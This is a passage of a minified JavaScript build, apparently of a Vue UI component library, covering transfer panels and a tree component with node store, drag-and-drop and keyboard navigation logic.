t({query:M}),(E,x)=>(B(),_("div",{class:F(d(a).b("panel"))},[ne("p",{class:F(d(a).be("panel","header"))},[ae(d(Do),{modelValue:d(q),"onUpdate:modelValue":x[0]||(x[0]=R=>mn(q)?q.value=R:null),indeterminate:d(p),"validate-event":!1,onChange:d(m)},{default:fe(()=>[Kt(We(E.title)+" ",1),ne("span",null,We(d(f)),1)]),_:1},8,["modelValue","indeterminate","onChange"])],2),ne("div",{class:F([d(a).be("panel","body"),d(a).is("with-footer",d(v))])},[E.filterable?(B(),ye(d(Gr),{key:0,modelValue:d(M),"onUpdate:modelValue":x[1]||(x[1]=R=>mn(M)?M.value=R:null),class:F(d(a).be("panel","filter")),size:"default",placeholder:E.placeholder,"prefix-icon":d(UF),clearable:"","validate-event":!1},null,8,["modelValue","class","placeholder","prefix-icon"])):pe("v-if",!0),ft(ae(d(Kk),{modelValue:d(I),"onUpdate:modelValue":x[2]||(x[2]=R=>mn(I)?I.value=R:null),"validate-event":!1,class:F([d(a).is("filterable",E.filterable),d(a).be("panel","list")])},{default:fe(()=>[(B(!0),_(Qe,null,Lt(d(c),R=>(B(),ye(d(Do),{key:R[d(u).key],class:F(d(a).be("panel","item")),value:R[d(u).key],disabled:R[d(u).disabled],"validate-event":!1},{default:fe(()=>{var K;return[ae(i,{option:(K=E.optionRender)==null?void 0:K.call(E,R)},null,8,["option"])]}),_:2},1032,["class","value","disabled"]))),128))]),_:1},8,["modelValue","class"]),[[_t,!d(g)&&!d(Zo)(E.data)]]),ft(ne("p",{class:F(d(a).be("panel","empty"))},We(d(g)?d(s)("el.transfer.noMatch"):d(s)("el.transfer.noData")),3),[[_t,d(g)||d(Zo)(E.data)]])],2),d(v)?(B(),_("p",{key:0,class:F(d(a).be("panel","footer"))},[qe(E.$slots,"default")],2)):pe("v-if",!0)],2))}});var K7=Ye(Yhe,[["__file","transfer-panel.vue"]]);const Bhe={key:0},Jhe={key:0},Vhe=ie({name:"ElTransfer"}),Uhe=ie({...Vhe,props:gu,emits:Rhe,setup(e,{expose:t,emit:n}){const r=e,o=pr(),{t:i}=Vt(),s=Oe("transfer"),{formItem:a}=eo(),l=$t({leftChecked:[],rightChecked:[]}),u=yf(r),{sourceData:c,targetData:f}=jhe(r),{onSourceCheckedChange:p,onTargetCheckedChange:m}=Nhe(l,n),{addToLeft:g,addToRight:v}=Whe(r,l,n),I=D(),q=D(),M=j=>{switch(j){case"left":I.value.query="";break;case"right":q.value.query="";break}},E=N(()=>r.buttonTexts.length===2),x=N(()=>r.titles[0]||i("el.transfer.titles.0")),R=N(()=>r.titles[1]||i("el.transfer.titles.1")),K=N(()=>r.filterPlaceholder||i("el.transfer.filterPlaceholder"));Ce(()=>r.modelValue,()=>{var j;r.validateEvent&&((j=a==null?void 0:a.validate)==null||j.call(a,"change").catch(H=>void 0))});const W=N(()=>j=>r.renderContent?r.renderContent(tt,j):o.default?o.default({option:j}):tt("span",j[u.value.label]||j[u.value.key]));return t({clearQuery:M,leftPanel:I,rightPanel:q}),(j,H)=>(B(),_("div",{class:F(d(s).b())},[ae(K7,{ref_key:"leftPanel",ref:I,data:d(c),"option-render":d(W),placeholder:d(K),title:d(x),filterable:j.filterable,format:j.format,"filter-method":j.filterMethod,"default-checked":j.leftDefaultChecked,props:r.props,onCheckedChange:d(p)},{default:fe(()=>[qe(j.$slots,"left-footer")]),_:3},8,["data","option-render","placeholder","title","filterable","format","filter-method","default-checked","props","onCheckedChange"]),ne("div",{class:F(d(s).e("buttons"))},[ae(d(dr),{type:"primary",class:F([d(s).e("button"),d(s).is("with-texts",d(E))]),disabled:d(Zo)(l.rightChecked),onClick:d(g)},{default:fe(()=>[ae(d(Pe),null,{default:fe(()=>[ae(d(va))]),_:1}),d(Vn)(j.buttonTexts[0])?pe("v-if",!0):(B(),_("span",Bhe,We(j.buttonTexts[0]),1))]),_:1},8,["class","disabled","onClick"]),ae(d(dr),{type:"primary",class:F([d(s).e("button"),d(s).is("with-texts",d(E))]),disabled:d(Zo)(l.leftChecked),onClick:d(v)},{default:fe(()=>[d(Vn)(j.buttonTexts[1])?pe("v-if",!0):(B(),_("span",Jhe,We(j.buttonTexts[1]),1)),ae(d(Pe),null,{default:fe(()=>[ae(d(Xr))]),_:1})]),_:1},8,["class","disabled","onClick"])],2),ae(K7,{ref_key:"rightPanel",ref:q,data:d(f),"option-render":d(W),placeholder:d(K),filterable:j.filterable,format:j.format,"filter-method":j.filterMethod,title:d(R),"default-checked":j.rightDefaultChecked,props:r.props,onCheckedChange:d(m)},{default:fe(()=>[qe(j.$slots,"right-footer")]),_:3},8,["data","option-render","placeholder","filterable","format","filter-method","title","default-checked","props","onCheckedChange"])],2))}});var Fhe=Ye(Uhe,[["__file","transfer.vue"]]);const Hhe=It(Fhe),ju="$treeNodeId",R7=function(e,t){!t||t[ju]||Object.defineProperty(t,ju,{value:e.id,enumerable:!1,configurable:!1,writable:!1})},JI=function(e,t){return e?t[e]:t[ju]},ky=(e,t,n)=>{const r=e.value.currentNode;n();const o=e.value.currentNode;r!==o&&t("current-change",o?o.data:null,o)},xy=e=>{let t=!0,n=!0,r=!0;for(let o=0,i=e.length;o<i;o++){const s=e[o];(s.checked!==!0||s.indeterminate)&&(t=!1,s.disabled||(r=!1)),(s.checked!==!1||s.indeterminate)&&(n=!1)}return{all:t,none:n,allWithoutDisable:r,half:!t&&!n}},Vc=function(e){if(e.childNodes.length===0||e.loading)return;const{all:t,none:n,half:r}=xy(e.childNodes);t?(e.checked=!0,e.indeterminate=!1):r?(e.checked=!1,e.indeterminate=!0):n&&(e.checked=!1,e.indeterminate=!1);const o=e.parent;!o||o.level===0||e.store.checkStrictly||Vc(o)},_f=function(e,t){const n=e.store.props,r=e.data||{},o=n[t];if(typeof o=="function")return o(r,e);if(typeof o=="string")return r[o];if(typeof o>"u"){const i=r[t];return i===void 0?"":i}};let Phe=0,Oy=class Vh{constructor(t){this.id=Phe++,this.text=null,this.checked=!1,this.indeterminate=!1,this.data=null,this.expanded=!1,this.parent=null,this.visible=!0,this.isCurrent=!1,this.canFocus=!1;for(const n in t)Gt(t,n)&&(this[n]=t[n]);this.level=0,this.loaded=!1,this.childNodes=[],this.loading=!1,this.parent&&(this.level=this.parent.level+1)}initialize(){const t=this.store;if(!t)throw new Error("[Node]store is required!");t.registerNode(this);const n=t.props;if(n&&typeof n.isLeaf<"u"){const i=_f(this,"isLeaf");typeof i=="boolean"&&(this.isLeafByUser=i)}if(t.lazy!==!0&&this.data?(this.setData(this.data),t.defaultExpandAll&&(this.expanded=!0,this.canFocus=!0)):this.level>0&&t.lazy&&t.defaultExpandAll&&this.expand(),Array.isArray(this.data)||R7(this,this.data),!this.data)return;const r=t.defaultExpandedKeys,o=t.key;o&&r&&r.includes(this.key)&&this.expand(null,t.autoExpandParent),o&&t.currentNodeKey!==void 0&&this.key===t.currentNodeKey&&(t.currentNode=this,t.currentNode.isCurrent=!0),t.lazy&&t._initDefaultCheckedNode(this),this.updateLeafState(),this.parent&&(this.level===1||this.parent.expanded===!0)&&(this.canFocus=!0)}setData(t){Array.isArray(t)||R7(this,t),this.data=t,this.childNodes=[];let n;this.level===0&&Array.isArray(this.data)?n=this.data:n=_f(this,"children")||[];for(let r=0,o=n.length;r<o;r++)this.insertChild({data:n[r]})}get label(){return _f(this,"label")}get key(){const t=this.store.key;return this.data?this.data[t]:null}get disabled(){return _f(this,"disabled")}get nextSibling(){const t=this.parent;if(t){const n=t.childNodes.indexOf(this);if(n>-1)return t.childNodes[n+1]}return null}get previousSibling(){const t=this.parent;if(t){const n=t.childNodes.indexOf(this);if(n>-1)return n>0?t.childNodes[n-1]:null}return null}contains(t,n=!0){return(this.childNodes||[]).some(r=>r===t||n&&r.contains(t))}remove(){const t=this.parent;t&&t.removeChild(this)}insertChild(t,n,r){if(!t)throw new Error("InsertChild error: child is required.");if(!(t instanceof Vh)){if(!r){const o=this.getChildren(!0);o.includes(t.data)||(typeof n>"u"||n<0?o.push(t.data):o.splice(n,0,t.data))}Object.assign(t,{parent:this,store:this.store}),t=$t(new Vh(t)),t instanceof Vh&&t.initialize()}t.level=this.level+1,typeof n>"u"||n<0?this.childNodes.push(t):this.childNodes.splice(n,0,t),this.updateLeafState()}insertBefore(t,n){let r;n&&(r=this.childNodes.indexOf(n)),this.insertChild(t,r)}insertAfter(t,n){let r;n&&(r=this.childNodes.indexOf(n),r!==-1&&(r+=1)),this.insertChild(t,r)}removeChild(t){const n=this.getChildren()||[],r=n.indexOf(t.data);r>-1&&n.splice(r,1);const o=this.childNodes.indexOf(t);o>-1&&(this.store&&this.store.deregisterNode(t),t.parent=null,this.childNodes.splice(o,1)),this.updateLeafState()}removeChildByData(t){let n=null;for(let r=0;r<this.childNodes.length;r++)if(this.childNodes[r].data===t){n=this.childNodes[r];break}n&&this.removeChild(n)}expand(t,n){const r=()=>{if(n){let o=this.parent;for(;o.level>0;)o.expanded=!0,o=o.parent}this.expanded=!0,t&&t(),this.childNodes.forEach(o=>{o.canFocus=!0})};this.shouldLoadData()?this.loadData(o=>{Array.isArray(o)&&(this.checked?this.setChecked(!0,!0):this.store.checkStrictly||Vc(this),r())}):r()}doCreateChildren(t,n={}){t.forEach(r=>{this.insertChild(Object.assign({data:r},n),void 0,!0)})}collapse(){this.expanded=!1,this.childNodes.forEach(t=>{t.canFocus=!1})}shouldLoadData(){return this.store.lazy===!0&&this.store.load&&!this.loaded}updateLeafState(){if(this.store.lazy===!0&&this.loaded!==!0&&typeof this.isLeafByUser<"u"){this.isLeaf=this.isLeafByUser;return}const t=this.childNodes;if(!this.store.lazy||this.store.lazy===!0&&this.loaded===!0){this.isLeaf=!t||t.length===0;return}this.isLeaf=!1}setChecked(t,n,r,o){if(this.indeterminate=t==="half",this.checked=t===!0,this.store.checkStrictly)return;if(!(this.shouldLoadData()&&!this.store.checkDescendants)){const{all:s,allWithoutDisable:a}=xy(this.childNodes);!this.isLeaf&&!s&&a&&(this.checked=!1,t=!1);const l=()=>{if(n){const u=this.childNodes;for(let p=0,m=u.length;p<m;p++){const g=u[p];o=o||t!==!1;const v=g.disabled?g.checked:o;g.setChecked(v,n,!0,o)}const{half:c,all:f}=xy(u);f||(this.checked=f,this.indeterminate=c)}};if(this.shouldLoadData()){this.loadData(()=>{l(),Vc(this)},{checked:t!==!1});return}else l()}const i=this.parent;!i||i.level===0||r||Vc(i)}getChildren(t=!1){if(this.level===0)return this.data;const n=this.data;if(!n)return null;const r=this.store.props;let o="children";return r&&(o=r.children||"children"),n[o]===void 0&&(n[o]=null),t&&!n[o]&&(n[o]=[]),n[o]}updateChildren(){const t=this.getChildren()||[],n=this.childNodes.map(i=>i.data),r={},o=[];t.forEach((i,s)=>{const a=i[ju];!!a&&n.findIndex(u=>u[ju]===a)>=0?r[a]={index:s,data:i}:o.push({index:s,data:i})}),this.store.lazy||n.forEach(i=>{r[i[ju]]||this.removeChildByData(i)}),o.forEach(({index:i,data:s})=>{this.insertChild({data:s},i)}),this.updateLeafState()}loadData(t,n={}){if(this.store.lazy===!0&&this.store.load&&!this.loaded&&(!this.loading||Object.keys(n).length)){this.loading=!0;const r=i=>{this.childNodes=[],this.doCreateChildren(i,n),this.loaded=!0,this.loading=!1,this.updateLeafState(),t&&t.call(this,i)},o=()=>{this.loading=!1};this.store.load(this,r,o)}else t&&t.call(this)}eachNode(t){const n=[this];for(;n.length;){const r=n.shift();n.unshift(...r.childNodes),t(r)}}reInitChecked(){this.store.checkStrictly||Vc(this)}};class Dhe{constructor(t){this.currentNode=null,this.currentNodeKey=null;for(const n in t)Gt(t,n)&&(this[n]=t[n]);this.nodesMap={}}initialize(){if(this.root=new Oy({data:this.data,store:this}),this.root.initialize(),this.lazy&&this.load){const t=this.load;t(this.root,n=>{this.root.doCreateChildren(n),this._initDefaultCheckedNodes()})}else this._initDefaultCheckedNodes()}filter(t){const n=this.filterNodeMethod,r=this.lazy,o=function(i){const s=i.root?i.root.childNodes:i.childNodes;if(s.forEach(a=>{a.visible=n.call(a,t,a.data,a),o(a)}),!i.visible&&s.length){let a=!0;a=!s.some(l=>l.visible),i.root?i.root.visible=a===!1:i.visible=a===!1}t&&i.visible&&!i.isLeaf&&(!r||i.loaded)&&i.expand()};o(this)}setData(t){t!==this.root.data?(this.root.setData(t),this._initDefaultCheckedNodes()):this.root.updateChildren()}getNode(t){if(t instanceof Oy)return t;const n=At(t)?JI(this.key,t):t;return this.nodesMap[n]||null}insertBefore(t,n){const r=this.getNode(n);r.parent.insertBefore({data:t},r)}insertAfter(t,n){const r=this.getNode(n);r.parent.insertAfter({data:t},r)}remove(t){const n=this.getNode(t);n&&n.parent&&(n===this.currentNode&&(this.currentNode=null),n.parent.removeChild(n))}append(t,n){const r=Cl(n)?this.root:this.getNode(n);r&&r.insertChild({data:t})}_initDefaultCheckedNodes(){const t=this.defaultCheckedKeys||[],n=this.nodesMap;t.forEach(r=>{const o=n[r];o&&o.setChecked(!0,!this.checkStrictly)})}_initDefaultCheckedNode(t){(this.defaultCheckedKeys||[]).includes(t.key)&&t.setChecked(!0,!this.checkStrictly)}setDefaultCheckedKey(t){t!==this.defaultCheckedKeys&&(this.defaultCheckedKeys=t,this._initDefaultCheckedNodes())}registerNode(t){const n=this.key;!t||!t.data||(n?t.key!==void 0&&(this.nodesMap[t.key]=t):this.nodesMap[t.id]=t)}deregisterNode(t){!this.key||!t||!t.data||(t.childNodes.forEach(r=>{this.deregisterNode(r)}),delete this.nodesMap[t.key])}getCheckedNodes(t=!1,n=!1){const r=[],o=function(i){(i.root?i.root.childNodes:i.childNodes).forEach(a=>{(a.checked||n&&a.indeterminate)&&(!t||t&&a.isLeaf)&&r.push(a.data),o(a)})};return o(this),r}getCheckedKeys(t=!1){return this.getCheckedNodes(t).map(n=>(n||{})[this.key])}getHalfCheckedNodes(){const t=[],n=function(r){(r.root?r.root.childNodes:r.childNodes).forEach(i=>{i.indeterminate&&t.push(i.data),n(i)})};return n(this),t}getHalfCheckedKeys(){return this.getHalfCheckedNodes().map(t=>(t||{})[this.key])}_getAllNodes(){const t=[],n=this.nodesMap;for(const r in n)Gt(n,r)&&t.push(n[r]);return t}updateChildren(t,n){const r=this.nodesMap[t];if(!r)return;const o=r.childNodes;for(let i=o.length-1;i>=0;i--){const s=o[i];this.remove(s.data)}for(let i=0,s=n.length;i<s;i++){const a=n[i];this.append(a,r.data)}}_setCheckedKeys(t,n=!1,r){const o=this._getAllNodes().sort((l,u)=>l.level-u.level),i=Object.create(null),s=Object.keys(r);o.forEach(l=>l.setChecked(!1,!1));const a=l=>{l.childNodes.forEach(u=>{var c;i[u.data[t]]=!0,(c=u.childNodes)!=null&&c.length&&a(u)})};for(let l=0,u=o.length;l<u;l++){const c=o[l],f=c.data[t].toString();if(!s.includes(f)){c.checked&&!i[f]&&c.setChecked(!1,!1);continue}if(c.childNodes.length&&a(c),c.isLeaf||this.checkStrictly){c.setChecked(!0,!1);continue}if(c.setChecked(!0,!0),n){c.setChecked(!1,!1);const m=function(g){g.childNodes.forEach(I=>{I.isLeaf||I.setChecked(!1,!1),m(I)})};m(c)}}}setCheckedNodes(t,n=!1){const r=this.key,o={};t.forEach(i=>{o[(i||{})[r]]=!0}),this._setCheckedKeys(r,n,o)}setCheckedKeys(t,n=!1){this.defaultCheckedKeys=t;const r=this.key,o={};t.forEach(i=>{o[i]=!0}),this._setCheckedKeys(r,n,o)}setDefaultExpandedKeys(t){t=t||[],this.defaultExpandedKeys=t,t.forEach(n=>{const r=this.getNode(n);r&&r.expand(null,this.autoExpandParent)})}setChecked(t,n,r){const o=this.getNode(t);o&&o.setChecked(!!n,r)}getCurrentNode(){return this.currentNode}setCurrentNode(t){const n=this.currentNode;n&&(n.isCurrent=!1),this.currentNode=t,this.currentNode.isCurrent=!0}setUserCurrentNode(t,n=!0){const r=t[this.key],o=this.nodesMap[r];this.setCurrentNode(o),n&&this.currentNode.level>1&&this.currentNode.parent.expand(null,!0)}setCurrentNodeKey(t,n=!0){if(t==null){this.currentNode&&(this.currentNode.isCurrent=!1),this.currentNode=null;return}const r=this.getNode(t);r&&(this.setCurrentNode(r),n&&this.currentNode.level>1&&this.currentNode.parent.expand(null,!0))}}const Xhe=ie({name:"ElTreeNodeContent",props:{node:{type:Object,required:!0},renderContent:Function},setup(e){const t=Oe("tree"),n=Fe("NodeInstance"),r=Fe("RootTree");return()=>{const o=e.node,{data:i,store:s}=o;return e.renderContent?e.renderContent(tt,{_self:n,node:o,data:i,store:s}):qe(r.ctx.slots,"default",{node:o,data:i},()=>[tt("span",{class:t.be("node","label")},[o.label])])}}});var Qhe=Ye(Xhe,[["__file","tree-node-content.vue"]]);function k4(e){const t=Fe("TreeNodeMap",null),n={treeNodeExpand:r=>{e.node!==r&&e.node.collapse()},children:[]};return t&&t.children.push(n),Ot("TreeNodeMap",n),{broadcastExpanded:r=>{if(e.accordion)for(const o of n.children)o.treeNodeExpand(r)}}}const x4=Symbol("dragEvents");function _he({props:e,ctx:t,el$:n,dropIndicator$:r,store:o}){const i=Oe("tree"),s=D({showDropIndicator:!1,draggingNode:null,dropNode:null,allowDrop:!0,dropType:null});return Ot(x4,{treeNodeDragStart:({event:c,treeNode:f})=>{if(typeof e.allowDrag=="function"&&!e.allowDrag(f.node))return c.preventDefault(),!1;c.dataTransfer.effectAllowed="move";try{c.dataTransfer.setData("text/plain","")}catch{}s.value.draggingNode=f,t.emit("node-drag-start",f.node,c)},treeNodeDragOver:({event:c,treeNode:f})=>{const p=f,m=s.value.dropNode;m&&m.node.id!==p.node.id&&Br(m.$el,i.is("drop-inner"));const g=s.value.draggingNode;if(!g||!p)return;let v=!0,I=!0,q=!0,M=!0;typeof e.allowDrop=="function"&&(v=e.allowDrop(g.node,p.node,"prev"),M=I=e.allowDrop(g.node,p.node,"inner"),q=e.allowDrop(g.node,p.node,"next")),c.dataTransfer.dropEffect=I||v||q?"move":"none",(v||I||q)&&(m==null?void 0:m.node.id)!==p.node.id&&(m&&t.emit("node-drag-leave",g.node,m.node,c),t.emit("node-drag-enter",g.node,p.node,c)),v||I||q?s.value.dropNode=p:s.value.dropNode=null,p.node.nextSibling===g.node&&(q=!1),p.node.previousSibling===g.node&&(v=!1),p.node.contains(g.node,!1)&&(I=!1),(g.node===p.node||g.node.contains(p.node))&&(v=!1,I=!1,q=!1);const E=p.$el.querySelector(`.${i.be("node","content")}`).getBoundingClientRect(),x=n.value.getBoundingClientRect();let R;const K=v?I?.25:q?.45:1:-1,W=q?I?.75:v?.55:0:1;let j=-9999;const H=c.clientY-E.top;H<E.height*K?R="before":H>E.height*W?R="after":I?R="inner":R="none";const P=p.$el.querySelector(`.${i.be("node","expand-icon")}`).getBoundingClientRect(),U=r.value;R==="before"?j=P.top-x.top:R==="after"&&(j=P.bottom-x.top),U.style.top=`${j}px`,U.style.left=`${P.right-x.left}px`,R==="inner"?To(p.$el,i.is("drop-inner")):Br(p.$el,i.is("drop-inner")),s.value.showDropIndicator=R==="before"||R==="after",s.value.allowDrop=s.value.showDropIndicator||M,s.value.dropType=R,t.emit("node-drag-over",g.node,p.node,c)},treeNodeDragEnd:c=>{const{draggingNode:f,dropType:p,dropNode:m}=s.value;if(c.preventDefault(),c.dataTransfer.dropEffect="move",f&&m){const g={data:f.node.data};p!=="none"&&f.node.remove(),p==="before"?m.node.parent.insertBefore(g,m.node):p==="after"?m.node.parent.insertAfter(g,m.node):p==="inner"&&m.node.insertChild(g),p!=="none"&&(o.value.registerNode(g),o.value.key&&f.node.eachNode(v=>{var I;(I=o.value.nodesMap[v.data[o.value.key]])==null||I.setChecked(v.checked,!o.value.checkStrictly)})),Br(m.$el,i.is("drop-inner")),t.emit("node-drag-end",f.node,m.node,p,c),p!=="none"&&t.emit("node-drop",f.node,m.node,p,c)}f&&!m&&t.emit("node-drag-end",f.node,null,p,c),s.value.showDropIndicator=!1,s.value.draggingNode=null,s.value.dropNode=null,s.value.allowDrop=!0}}),{dragState:s}}const $he=ie({name:"ElTreeNode",components:{ElCollapseTransition:Um,ElCheckbox:Do,NodeContent:Qhe,ElIcon:Pe,Loading:wa},props:{node:{type:Oy,default:()=>({})},props:{type:Object,default:()=>({})},accordion:Boolean,renderContent:Function,renderAfterExpand:Boolean,showCheckbox:{type:Boolean,default:!1}},emits:["node-expand"],setup(e,t){const n=Oe("tree"),{broadcastExpanded:r}=k4(e),o=Fe("RootTree"),i=D(!1),s=D(!1),a=D(null),l=D(null),u=D(null),c=Fe(x4),f=bt();Ot("NodeInstance",f),e.node.expanded&&(i.value=!0,s.value=!0);const p=o.props.props.children||"children";Ce(()=>{const H=e.node.data[p];return H&&[...H]},()=>{e.node.updateChildren()}),Ce(()=>e.node.indeterminate,H=>{v(e.node.checked,H)}),Ce(()=>e.node.checked,H=>{v(H,e.node.indeterminate)}),Ce(()=>e.node.childNodes.length,()=>e.node.reInitChecked()),Ce(()=>e.node.expanded,H=>{$e(()=>i.value=H),H&&(s.value=!0)});const m=H=>JI(o.props.nodeKey,H.data),g=H=>{const P=e.props.class;if(!P)return{};let U;if(ot(P)){const{data:X}=H;U=P(X,H)}else U=P;return st(U)?{[U]:!0}:U},v=(H,P)=>{(a.value!==H||l.value!==P)&&o.ctx.emit("check-change",e.node.data,H,P),a.value=H,l.value=P},I=H=>{ky(o.store,o.ctx.emit,()=>o.store.value.setCurrentNode(e.node)),o.currentNode.value=e.node,o.props.expandOnClickNode&&M(),o.props.checkOnClickNode&&!e.node.disabled&&E(null,{target:{checked:!e.node.checked}}),o.ctx.emit("node-click",e.node.data,e.node,f,H)},q=H=>{o.instance.vnode.props.onNodeContextmenu&&(H.stopPropagation(),H.preventDefault()),o.ctx.emit("node-contextmenu",H,e.node.data,e.node,f)},M=()=>{e.node.isLeaf||(i.value?(o.ctx.emit("node-collapse",e.node.data,e.node,f),e.node.collapse()):(e.node.expand(),t.emit("node-expand",e.node.data,e.node,f)))},E=(H,P)=>{e.node.setChecked(P.target.checked,!o.props.checkStrictly),$e(()=>{const U=o.store.value;o.ctx.emit("check",e.node.data,{checkedNodes:U.getCheckedNodes(),checkedKeys:U.getCheckedKeys(),halfCheckedNodes:U.getHalfCheckedNodes(),halfCheckedKeys:U.getHalfCheckedKeys()})})};return{ns:n,node$:u,tree:o,expanded:i,childNodeRendered:s,oldChecked:a,oldIndeterminate:l,getNodeKey:m,getNodeClass:g,handleSelectChange:v,handleClick:I,handleContextMenu:q,handleExpandIconClick:M,handleCheckChange:E,handleChildNodeExpand:(H,P,U)=>{r(P),o.ctx.emit("node-expand",H,P,U)},handleDragStart:H=>{o.props.draggable&&c.treeNodeDragStart({event:H,treeNode:e})},handleDragOver:H=>{H.preventDefault(),o.props.draggable&&c.treeNodeDragOver({event:H,treeNode:{$el:u.value,node:e.node}})},handleDrop:H=>{H.preventDefault()},handleDragEnd:H=>{o.props.draggable&&c.treeNodeDragEnd(H)},CaretRight:H3}}}),epe=["aria-expanded","aria-disabled","aria-checked","draggable","data-key"],tpe=["aria-expanded"];function npe(e,t,n,r,o,i){const s=pt("el-icon"),a=pt("el-checkbox"),l=pt("loading"),u=pt("node-content"),c=pt("el-tree-node"),f=pt("el-collapse-transition");return ft((B(),_("div",{ref:"node$",class:F([e.ns.b("node"),e.ns.is("expanded",e.expanded),e.ns.is("current",e.node.isCurrent),e.ns.is("hidden",!e.node.visible),e.ns.is("focusable",!e.node.disabled),e.ns.is("checked",!e.node.disabled&&e.node.checked),e.getNodeClass(e.node)]),role:"treeitem",tabindex:"-1","aria-expanded":e.expanded,"aria-disabled":e.node.disabled,"aria-checked":e.node.checked,draggable:e.tree.props.draggable,"data-key":e.getNodeKey(e.node),onClick:t[1]||(t[1]=rt((...p)=>e.handleClick&&e.handleClick(...p),["stop"])),onContextmenu:t[2]||(t[2]=(...p)=>e.handleContextMenu&&e.handleContextMenu(...p)),onDragstart:t[3]||(t[3]=rt((...p)=>e.handleDragStart&&e.handleDragStart(...p),["stop"])),onDragover:t[4]||(t[4]=rt((...p)=>e.handleDragOver&&e.handleDragOver(...p),["stop"])),onDragend:t[5]||(t[5]=rt((...p)=>e.handleDragEnd&&e.handleDragEnd(...p),["stop"])),onDrop:t[6]||(t[6]=rt((...p)=>e.handleDrop&&e.handleDrop(...p),["stop"]))},[ne("div",{class:F(e.ns.be("node","content")),style:De({paddingLeft:(e.node.level-1)*e.tree.props.indent+"px"})},[e.tree.props.icon||e.CaretRight?(B(),ye(s,{key:0,class:F([e.ns.be("node","expand-icon"),e.ns.is("leaf",e.node.isLeaf),{expanded:!e.node.isLeaf&&e.expanded}]),onClick:rt(e.handleExpandIconClick,["stop"])},{default:fe(()=>[(B(),ye(Et(e.tree.props.icon||e.CaretRight)))]),_:1},8,["class","onClick"])):pe("v-if",!0),e.showCheckbox?(B(),ye(a,{key:1,"model-value":e.node.checked,indeterminate:e.node.indeterminate,disabled:!!e.node.disabled,onClick:t[0]||(t[0]=rt(()=>{},["stop"])),onChange:e.handleCheckChange},null,8,["model-value","indeterminate","disabled","onChange"])):pe("v-if",!0),e.node.loading?(B(),ye(s,{key:2,class:F([e.ns.be("node","loading-icon"),e.ns.is("loading")])},{default:fe(()=>[ae(l)]),_:1},8,["class"])):pe("v-if",!0),ae(u,{node:e.node,"render-content":e.renderContent},null,8,["node","render-content"])],6),ae(f,null,{default:fe(()=>[!e.renderAfterExpand||e.childNodeRendered?ft((B(),_("div",{key:0,class:F(e.ns.be("node","children")),role:"group","aria-expanded":e.expanded},[(B(!0),_(Qe,null,Lt(e.node.childNodes,p=>(B(),ye(c,{key:e.getNodeKey(p),"render-content":e.renderContent,"render-after-expand":e.renderAfterExpand,"show-checkbox":e.showCheckbox,node:p,accordion:e.accordion,props:e.props,onNodeExpand:e.handleChildNodeExpand},null,8,["render-content","render-after-expand","show-checkbox","node","accordion","props","onNodeExpand"]))),128))],10,tpe)),[[_t,e.expanded]]):pe("v-if",!0)]),_:1})],42,epe)),[[_t,e.node.visible]])}var rpe=Ye($he,[["render",npe],["__file","tree-node.vue"]]);function ope({el$:e},t){const n=Oe("tree"),r=ln([]),o=ln([]);mt(()=>{s()}),ws(()=>{r.value=Array.from(e.value.querySelectorAll("[role=treeitem]")),o.value=Array.from(e.value.querySelectorAll("input[type=checkbox]"))}),Ce(o,a=>{a.forEach(l=>{l.setAttribute("tabindex","-1")})}),pn(e,"keydown",a=>{const l=a.target;if(!l.className.includes(n.b("node")))return;const u=a.code;r.value=Array.from(e.value.querySelectorAll(`.${n.is("focusable")}[role=treeitem]`));const c=r.value.indexOf(l);let f;if([_e.up,_e.down].includes(u)){if(a.preventDefault(),u===_e.up){f=c===-1?0:c!==0?c-1:r.value.length-1;const m=f;for(;!t.value.getNode(r.value[f].dataset.key).canFocus;){if(f--,f===m){f=-1;break}f<0&&(f=r.value.length-1)}}else{f=c===-1?0:c<r.value.length-1?c+1:0;const m=f;for(;!t.value.getNode(r.value[f].dataset.key).canFocus;){if(f++,f===m){f=-1;break}f>=r.value.length&&(f=0)}}f!==-1&&r.value[f].focus()}[_e.left,_e.right].includes(u)&&(a.preventDefault(),l.click());const p=l.querySelector('[type="checkbox"]');[_e.enter,_e.space].includes(u)&&p&&(a.preventDefault(),p.click())});const s=()=>{var a;r.value=Array.from(e.value.querySelectorAll(`.${n.is("focusable")}[role=treeitem]`)),o.value=Array.from(e.value.querySelectorAll("input[type=checkbox]"));const l=e.value.querySelectorAll(`.${n.is("checked")}[role=treeitem]`);if(l.length){l[0].setAttribute("tabindex","0");return}(a=r.value[0])==null||a.setAttribute("tabindex","0")}}const ipe=ie({name:"ElTree",components:{ElTreeNode:rpe},props:{data:{type:Array,default:()=>[]},emptyText:{type:String},renderAfterExpand:{type:Boolean,default:!0},nodeKey:String,checkStrictly:Boolean,defaultExpandAll:Boolean,expandOnClickNode:{type:Boolean,default:!0},checkOnClickNode:Boolean,checkDescendants:{type:Boolean,default:!1},autoExpandParent:{type:Boolean,default:!0},defaultCheckedKeys:Array,defaultExpandedKeys:Array,currentNodeKey:[String,Number],renderContent:Function,showCheckbox:{type:Boolean,default:!1},draggable:{type:Boolean,default:!1},allowDrag:Function,allowDrop:Function,props:{type:Object,default:()=>({children:"children",label:"label",disabled:"disabled"})},lazy:{type:Boolean,default:!1},highlightCurrent:Boolean,load:Function,filterNodeMethod:Function,accordion:Boolean,indent:{type:Number,default:18},icon:{type:cn}},emits:["check-change","current-change","node-click","node-contextmenu","node-collapse","node-expand","check","node-drag-start","node-drag-end","node-drop","node-drag-leave","node-drag-enter","node-drag-over"],setup(e,t){const{t:n}=Vt(),r=Oe("tree"),o=D(new Dhe({key:e.nodeKey,data:e.data,lazy:e.lazy,props:e.props,load:e.load,currentNodeKey:e.currentNodeKey,checkStrictly:e.checkStrictly,checkDescendants:e.checkDescendants,defaultCheckedKeys:e.defaultCheckedKeys,defaultExpandedKeys:e.defaultExpandedKeys,autoExpandParent:e.autoExpandParent,defaultExpandAll:e.defaultExpandAll,filterNodeMethod:e.filterNodeMethod}));o.value.initialize();const i=D(o.value.root),s=D(null),a=D(null),l=D(null),{broadcastExpanded:u}=k4(e),{dragState:c}=_he({props:e,ctx:t,el$:a,dropIndicator$:l,store:o});ope({el$:a},o);const f=N(()=>{const{childNodes:A}=i.value;return!A||A.length===0||A.every(({visible:C})=>!C)});Ce(()=>e.currentNodeKey,A=>{o.value.setCurrentNodeKey(A)}),Ce(()=>e.defaultCheckedKeys,A=>{o.value.setDefaultCheckedKey(A)}),Ce(()=>e.defaultExpandedKeys,A=>{o.value.setDefaultExpandedKeys(A)}),Ce(()=>e.data,A=>{o.value.setData(A)},{deep:!0}),Ce(()=>e.checkStrictly,A=>{o.value.checkStrictly=A});const 